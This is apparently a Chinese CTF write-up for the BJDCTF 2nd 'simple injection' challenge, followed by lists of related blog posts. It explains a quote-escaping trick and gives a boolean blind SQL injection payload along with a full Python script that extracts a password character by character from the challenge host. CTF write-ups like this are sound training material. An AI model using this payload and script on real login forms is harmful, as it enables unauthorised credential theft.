刷题[BJDCTF 2nd]简单注入
解题思路
打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串。fuzz一波,发现禁了挺多东西的。
select union 等

这里猜测是布尔盲注,错误的话显示的是:You konw ,P3rh4ps needs a girl friend
但是不管传入什么都回显这个,这里想是否有其他信息,我这种菜鸡还不会直接根据测试,猜测出sql语句。
robots.txt中发现hint,打开hint.php,发现sql语句。太好了
bypass sql
select * from users where username='$_POST["username"]' and password='$_POST["password"]'
这里传入的username和password都被单引号包裹,这里需要闭合单引号 ,闭合 ' $_POST["username"] and password=' 。即直接是:
'$_POST["username"] and password= '
$_POST["password"]'
这样就可以在password中传入查询语句。
在username处传入 admin\ ,
or没被禁,等于号被禁,
所以password传入or if(ascii(substr(password,1,1))>1,1,0)
爆破

第一个$符号里面的是偏移量,即确定password的每一位,第二个$符号里面的是当前password位的具体ascii码

意思是有12位,那打扰了。手动太累了,还是学写exp把
exp
import requests
import time
url = "http://ba1f818e-5cd8-42c9-9be0-a48646da5351.node3.buuoj.cn/index.php"
payload = {
"username" : "admin\\",
"password" : ""
}
result = ""
for i in range(1,30):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload["password"] = "or if(ascii(substr(password,{},1))>{},1,0)#".format(i,mid)
html = requests.post(url,data=payload)
print(low,high,mid,":")
print(payload)
if "stronger" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low == 32 or high ==128):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
我人傻了,一开始写,一直不进行下去。最后修改发现问题是我把#符号,写成%23了。导致压根没有起作用,我纳闷半天。这也是一个坑点,python脚本不需要url编码

跑出来密码了,直接账号密码登陆,获得flag
总结思路
- 看见登陆框,两种回显,考虑布尔盲注,思考后台sql查询语句。
- 根据sql语句,转义单引号,导致payload可以逃逸
- 编写布尔盲注脚本
知识点
- sql注入
- 布尔盲注
刷题[BJDCTF 2nd]简单注入的更多相关文章
- [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...
- [BJDCTF 2nd]简单注入
[BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...
- Python学习之LeetCode刷题之路——简单题【1、7、9】
1.两数之和 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个 ...
- leetcode刷题--两数之和(简单)
一.序言 第一次刷leetcode的题,之前从来没有刷题然后去面试的概念,直到临近秋招,或许是秋招结束的时候才有这个意识,原来面试是需要刷题的,面试问的问题都是千篇一律的,只要刷够了题就差不多了,当然 ...
- [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5
[BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...
- 刷题记录:[De1ctf] shell shell shell
目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- Buu刷题
前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...
- BUUOJ Misc刷题大作战
你竟然赶我走 随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来 乌镇峰会种图 只要会用winhex打开文件 ...
随机推荐
- 如何理解Vue.js中的ref及$ref,$
1.vue官方文档 首先我们来看一下vue官方是怎么解释的 好了,我知道很多刚接触的vue的小白其实都不太看的懂官方文档在讲什么,下面我用自己的话翻译一下. 2.ref以及$ref 通过 ref 标注 ...
- 【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!
写在前面 在实际的企业开发环境中,往往都会将环境分为:开发环境.测试环境和生产环境,而每个环境基本上都是互相隔离的,也就是说,开发环境.测试环境和生产环境是互不相通的.在以前的开发过程中,如果开发人员 ...
- JacaScript实现call apply bind函数
一.call函数 模拟实现第一步:整体思路 Function.prototype.call2=function(context){ context.fn=this; //1.将函数(谁调用 即this ...
- TCP/IP的三次握手, 四次挥手
三次握手: 1. X初始序号, SYN: , 发送 将syn=1, X发送至client 2. 服务器发送 ACK(确认包)=1, SYN=1, 接受顺序号(acknowledge number ...
- Cookie:SameSite,防止CSRF攻击
前言 最近在本地调试时,发现请求接口提示“未登录”,通过分析HTTP请求报文发现未携带登录状态的Cookie: PS:登录状态Cookie名是TEST 再进一步分析,发现Cookie的属性SameSi ...
- 跟着兄弟连系统学习Linux-【day08】
day08-20200605 p27.软件包管理简 windows 和 linux 软件是不同的版本. Linux源码包,开源的.绝大部分都是C语言写的.源码包安装速度比较慢.需要先编译后再安装.脚本 ...
- 万字长文,以代码的思想去详细讲解yolov3算法的实现原理和训练过程,Visdrone数据集实战训练
以代码的思想去详细讲解yolov3算法的实现原理和训练过程,并教使用visdrone2019数据集和自己制作数据集两种方式去训练自己的pytorch搭建的yolov3模型,吐血整理万字长文,纯属干货 ...
- Brup sute
暴力破解
- 2019UNCTF
Easyshellcode: 不说了,都是没有工具的血泪史,直接上exp: from pwn import * from numbers import * from ae64 import AE64 ...
- Ubuntu 安装配置 WordPress5.4.2
一.安装 Apache 并配置 WordPress sudo apt-get install apache2 -y // 安装 apache2 sudo apt-get install php -y ...